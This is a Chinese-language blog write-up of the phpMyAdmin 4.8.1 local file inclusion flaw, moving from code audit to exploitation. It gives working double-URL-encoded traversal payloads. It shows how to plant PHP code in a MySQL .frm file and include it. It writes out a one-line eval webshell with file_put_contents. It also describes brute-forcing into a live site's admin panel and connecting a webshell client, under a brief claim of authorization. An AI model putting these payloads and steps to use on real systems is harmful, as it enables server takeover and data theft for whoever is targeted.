【原创2】PhpMyAdmin文件包含漏洞白盒解析(从理论到实战)
声明
本次实践是在合法授权情况下进行,数据已经全部加密,目的是提供思路交流学习,请勿用于任何非法活动,否则后果自负。
实战记录
信息收集
通过FOFA搜索带有phpMyAdmin 4.8.1的目标站点,目的是测试能否通过信息收集来获取被测站点,发现站点后获取相关版本信息。
本地复现安全问题
本地搭建4.8.1版本phpMyAdmin环境;
对代码进行升级,先寻找包含include 的函数,尝试寻找文件包含漏洞,发现/index.php文件下存在危险函数include $_REQUEST[‘target’]。
// If we have a valid target, let's load that script insteadif (! empty($_REQUEST['target']) //target传参不为0或null
&& is_string($_REQUEST['target']) //target传参必须为字符串
&& ! preg_match('/^index/', $_REQUEST['target'])//target传参不能是index开头
&& ! in_array($_REQUEST['target'], $target_blacklist)//target传参不能在黑名单
&& Core::checkPageValidity($_REQUEST['target'])
) { include $_REQUEST['target']; //这是突破口,但需要满足以上的条件
exit;
}if (isset($_REQUEST['ajax_request']) && ! empty($_REQUEST['access_time'])) { exit;
}
看出来,target传参需要满足以下条件,具体解析可以继续看下去
1,target传参不为0或null;2,target传参必须为字符串;3,target传参不能是index开头;4,target传参不能在黑名单; $target_blacklist = array ( 'import.php', 'export.php');5,target传参要看Core::checkPageValidity($_REQUEST['target'])的返回结果,这里需要使用payload:server_binlog.php%3f/../1.php
继续定位Core::checkPageValidity($_REQUEST[‘target’]),逐个方法进行过滤排查,具体含义请看补充的代码备注;
public static function checkPageValidity(&$page, array $whitelist = []) { if (empty($whitelist)) { $whitelist = self::$goto_whitelist;
} if (! isset($page) || !is_string($page)) { return false; //如果$page入参非字符串,就返回false,基本不太可能非字符串
} if (in_array($page, $whitelist)) { return true; //如果$page在白名单的数组中就返回true
} $_page = mb_substr(
//自定义函数mb_substr()是返回字符串的一部分,举例echo mb_substr("菜鸟教程", 0, 2);后输出:菜鸟;一句话总结就是聪哪里切,切多长;
$page, 0,
mb_strpos($page . '?', '?') //返回要查找的字符串在个别字符串中首次出现的位置,如果123123?1,那对应的位置就是6,其中使用问号来监测,是因为include中不能有?,否则会报错,因此代码写的还是考虑比较周全的。
); if (in_array($_page, $whitelist)) { return true;
} $_page = urldecode($page); $_page = mb_substr( $_page, 0,
mb_strpos($_page . '?', '?')
); if (in_array($_page, $whitelist)) { return true;
} return false;
}
如果$whitelist = self::$goto_whitelist; 显示,如果形参中没有$whitelist[],那就会在默认白名单中补齐;
public static $goto_whitelist = array( 'db_datadict.php', 'db_sql.php', 'db_events.php', 'db_export.php', 'db_importdocsql.php', 'db_multi_table_query.php', 'db_structure.php', 'db_import.php', 'db_operations.php', 'db_search.php', 'db_routines.php', 'export.php', 'import.php', 'index.php', 'pdf_pages.php', 'pdf_schema.php', 'server_binlog.php', 'server_collations.php', 'server_databases.php', 'server_engines.php', 'server_export.php', 'server_import.php', 'server_privileges.php', 'server_sql.php', 'server_status.php', 'server_status_advisor.php', 'server_status_monitor.php', 'server_status_queries.php', 'server_status_variables.php', 'server_variables.php', 'sql.php', 'tbl_addfield.php', 'tbl_change.php', 'tbl_create.php', 'tbl_import.php', 'tbl_indexes.php', 'tbl_sql.php', 'tbl_export.php', 'tbl_operations.php', 'tbl_structure.php', 'tbl_relation.php', 'tbl_replace.php', 'tbl_row_action.php', 'tbl_select.php', 'tbl_zoom_select.php', 'transformation_overview.php', 'transformation_wrapper.php', 'user_password.php',
);
前面的代码可以说是无懈可击,但问题出在了后面的$_page = urldecode($page),问题点,此处对url进行了一次解码,本来?放到url中会报错,但编码后%3f就不报错了,因为会进行解码,get请求会进行一次url编码和解码,但post请求却不会,不过这里的接收方式是REQUEST,其中包含了get和post两种方式。那这样我就可以拼接payload:server_binlog.php%3f/../1.php来包含带有shell的文件了。
$_page = urldecode($page);//问题点,此处对url进行了一次解码,本来?放到url中会报错,但编码后%3F就不报错了,因为会进行解码,get请求会进行一次url编码和解码,但post请求却不会,不过这里的接收方式是REQUEST,其中包含了get和post两种方式。那这样我就可以拼接payload:server_binlog.php%3f/../1.php来包含带有shell的文件了。
$_page = mb_substr( $_page, 0,
mb_strpos($_page . '?', '?')
); if (in_array($_page, $whitelist)) { return true;
} return false;
}
接下来在本地测试绕过思路,在主路径上配置2.php文件,通过包里破解进入phpmyadmin中,进行文件包含漏洞测试。
1,根据之前代码审计,拼接如下链接
http://192.168.186.129/phpmyadmin/index.php?target=server_binlog.php?/../../2.php2,因为php框架会get请求解码一次,因此变形
http://192.168.186.129/phpmyadmin/index.php?target=server_binlog.php%3f/../../2.php3,因为代码中为了兼容性,还会再解码一次,因此再变形
http://192.168.186.129/phpmyadmin/index.php?target=server_binlog.php%253f/../../2.php
请求后,发现读取包含文件成功!
那问题来了,那如果对远程服务器来说,在不上传新文件的情况下,如何能getshell呢,在mysql中发现,每一个表都是对应一个文件,在字段值里面写shell不就等于是在文件中写shell么。。。因此进一步确认;
在phpmyadmin中写shell,然后在文件路径中发现保存成功;
然后通过文件包含的路径去访问,发现getshell成功~!但无法通过蚂剑进行链接,因为需要cookie,所以思路转变为想办法写马,来生成新的文件;
先查下路径
SELECT @@basedir
然后访问校验
http://192.168.186.129/phpmyadmin/index.php?target=server_binlog.php%253f/../../../mysql/data/ab.frm&8=phpinfo();
线上渗透
通过phpmyadmin的爆破工具进入后台(网上很多这方面工具),然后一样流程写shell;
通过路径访问,发现getshell成功;
http:/XXXXXX//phpmyadmin/index.php?target=server_binlog.php%253f/../../../../../../../../XXXX/MySql/data/1_18/abc.frm&8=phpinfo();
然后进行写文件马成功;
file_put_contents('ma.php','<?php @eval($_REQUEST[8])?>')
验证写马成功
连接蚂剑,愉快的webshell走起